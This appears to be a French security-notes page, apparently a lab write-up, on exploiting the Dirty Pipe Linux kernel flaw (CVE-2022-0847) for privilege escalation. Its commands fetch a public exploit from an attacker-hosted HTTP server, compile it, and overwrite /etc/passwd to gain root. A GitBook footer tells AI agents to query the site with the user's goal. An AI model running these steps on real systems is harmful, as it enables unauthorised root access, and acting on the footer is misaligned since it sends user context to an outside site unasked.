> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

Notes sur les techniques d'élévation de privilèges Linux avec énumération pratique, exemples d'exploitation et validation.

## De quoi il s'agit

Cette page documente une technique d'escalade de privilèges Linux avec des étapes de validation pratiques et des exemples d'exploitation. Cette page se concentre plus particulièrement sur **Dirty Pipe** et conserve le flux d’exploitation pratique : identifier la condition, la valider en toute sécurité, puis exécuter la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter le chemin d’exploitation.

```bash
id
uname -a
```

## Exemples

{% hint style="info" %}
**Dirty Pipe** (CVE-2022-0847) est une faille du noyau Linux qui permet à un utilisateur local non privilégié de modifier des fichiers système à l'exécution, y compris des fichiers protégés tels que **/etc/passwd**. Cette vulnérabilité exploite une faille dans la gestion des pipes du noyau, permettant à un processus de modifier un fichier pendant qu'il est utilisé par un autre processus, y compris des fichiers en lecture seule ou des fichiers écrits par des utilisateurs privilégiés.
{% endhint %}

## Exploitation de Dirty Pipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Vérifiez si la machine est vulnérable à Dirty Pipe, une faille qui peut modifier des fichiers système à l'exécution. Nous avons trouvé **gcc**, un compilateur C, disponible à `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

Utilisez **Python3** pour transférer l'exploit de la machine locale vers la cible. Démarrez un serveur HTTP en local pour l'héberger :

```bash
python3 -m http.server
```

Sur la machine victime, nous avons téléchargé l'exploit :

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e81bb0a4f30ef1430d5f616c29aeaf8c56c4518%2Fimage%20(1027).png?alt=media" alt=""><figcaption></figcaption></figure>

Une fois l'exploit récupéré, nous avons compilé le fichier C avec **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
L'exploit modifie le `/etc/passwd` fichier en injectant un hash de mot de passe, et ajoute un `aaron` utilisateur avec un mot de passe spécifique, afin de permettre l'escalade de privilèges.
{% endhint %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fc0ad0757f5bce1f8bfe2418a3ea7f4580be1a2%2F%7B05D94990-84EC-461B-BE38-3349B04D7B5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Enfin, exécutez simplement le script :

```bash
./exploit
```

Cela donne **`root`** un accès sur la machine.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7848accef10a484ae739e69fae35d09533a1491c%2Fimage%20(1028).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
